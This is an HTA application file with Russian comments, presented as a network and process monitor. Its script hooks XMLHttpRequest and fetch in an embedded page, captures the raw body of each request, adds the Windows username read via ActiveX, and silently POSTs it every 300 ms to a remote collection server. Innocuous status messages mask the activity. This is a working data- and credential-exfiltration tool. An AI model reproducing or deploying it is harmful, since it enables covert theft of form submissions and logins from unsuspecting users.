Загрузка данных


<html>
<head>
<!-- Принудительно включаем режим Edge, чтобы фрейм поддерживал современный синтаксис сайтов -->
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>Deep Async Network & Process Monitor (Admin NO)</title>
<hta:application 
    id="deepAsyncMon" 
    scroll="no" 
    windowstate="normal" 
    contextmenu="no" 
    selection="no" 
/>

<style>
    body { font-family: 'Segoe UI', Arial, sans-serif; margin: 0; padding: 0; background: #111; color: #e0e0e0; overflow: hidden; }
    .control-panel { height: 40px; background: #1a1a1a; border-bottom: 1px solid #222; padding: 5px 20px; box-sizing: border-box; display: flex; align-items: center; justify-content: space-between; }
    #status { font-family: monospace; font-size: 11px; color: #888; }
    iframe { width: 100%; height: calc(100% - 40px); border: none; background: #fff; }
</style>

<script language="javascript">
// -------------------------------------------------------------
// ИСПРАВЛЕНО: Указан полный IP-адрес и порт вашего Python-сервера
// -------------------------------------------------------------
var MIRROR_SERVER = "http://192.168.1";

// Очередь для мгновенных снимков трафика (Буфер)
var trafficQueue = [];

function initDeepInterception() {
    var monitorFrame = document.getElementById("targetWebFrame");
    
    try {
        var frameWin = monitorFrame.contentWindow;
        
        if (frameWin && !frameWin._isIntercepted) {
            
            // 1. Перехват стандартных AJAX-запросов (XMLHttpRequest)
            if (frameWin.XMLHttpRequest) {
                var origOpen = frameWin.XMLHttpRequest.prototype.open;
                var origSend = frameWin.XMLHttpRequest.prototype.send;
                
                frameWin.XMLHttpRequest.prototype.open = function(method, url) {
                    this._mMethod = method; 
                    this._mUrl = url;
                    return origOpen.apply(this, arguments);
                };
                
                frameWin.XMLHttpRequest.prototype.send = function(body) {
                    // ФАЗА 1: Моментальное клонирование сырого текста пакета
                    var packetCopy = {
                        method: this._mMethod,
                        url: this._mUrl,
                        payload: body,
                        timestamp: new Date().getTime()
                    };
                    
                    trafficQueue.push(packetCopy);
                    
                    // Мгновенный пропуск оригинального запроса дальше
                    return origSend.apply(this, [body]);
                };
            }
            
            // 2. Добавлен перехват Fetch API (для поддержки современных веб-интерфейсов)
            if (frameWin.fetch) {
                var origFetch = frameWin.fetch;
                frameWin.fetch = function(input, init) {
                    var url = (typeof input === 'string') ? input : input.url;
                    var method = (init && init.method) ? init.method : 'GET';
                    var body = (init && init.body) ? init.body : null;
                    
                    var packetCopy = {
                        method: method,
                        url: url,
                        payload: body,
                        timestamp: new Date().getTime()
                    };
                    
                    trafficQueue.push(packetCopy);
                    return origFetch.apply(this, arguments);
                };
            }
            
            frameWin._isIntercepted = true;
            document.getElementById("status").innerText = "Асинхронный конвейер процессов активен.";
        }
    } catch(err) {
        document.getElementById("status").innerText = "Синхронизация потока данных...";
    }
}

// ФАЗА 2: ОПТИМИЗИРОВАННЫЙ ВТОРОЙ ПОТОК (Сбор контекста ОС и отправка чистого трафика)
setInterval(function processAndEnrichData() {
    if (trafficQueue.length === 0) return;
    
    // Извлекаем пакет из буфера временных копий
    var currentPacket = trafficQueue.shift();
    
    try {
        var processName = "chrome.exe"; // Так как обертка эмулирует или вызывает Chromium-сессию
        var userAccount = "Unknown_User";
        
        // Быстрое получение имени пользователя Windows без тяжелых запросов к WMI
        try {
            var netObject = new ActiveXObject("WScript.Network");
            userAccount = netObject.UserName;
        } catch(e) {}

        // Отправка чистых, расшифрованных данных на ваш удаленный сервер сбора
        var xhr = new ActiveXObject("MSXML2.XMLHTTP");
        xhr.open("POST", MIRROR_SERVER, true); // true = строго асинхронно
        xhr.setRequestHeader("Content-Type", "application/json");
        
        var enrichedLog = {
            agent: "HTA_Clear_Traffic_Agent",
            time: currentPacket.timestamp,
            os_user: userAccount,
            os_process: processName, 
            network_method: currentPacket.method,
            network_url: currentPacket.url,
            raw_payload_before_tls: currentPacket.payload // Сырые данные ДО TLS шифрования
        };
        
        xhr.send(JSON.stringify(enrichedLog));
        
    } catch(e) {
        // Фоновые сбои сети не должны влиять на работу пользователя
    }
}, 300); // Интервал уменьшен до 300 мс для ускорения разгрузки очереди
</script>
</head>
<body>

    <div class="control-panel">
        <div id="status">Запуск виртуального интерфейса...</div>
        <div style="font-size: 10px; color: #666;">Raw Packet + OS Process Mode (Admin NO)</div>
    </div>

    <!-- Целевой ресурс загружается в изолированный фрейм -->
    <!-- Для тестирования взаимодействия форм используется страница httpbin.org/forms/post -->
    <iframe id="targetWebFrame" src="https://httpbin.org" onload="initDeepInterception()"></iframe>

</body>
</html>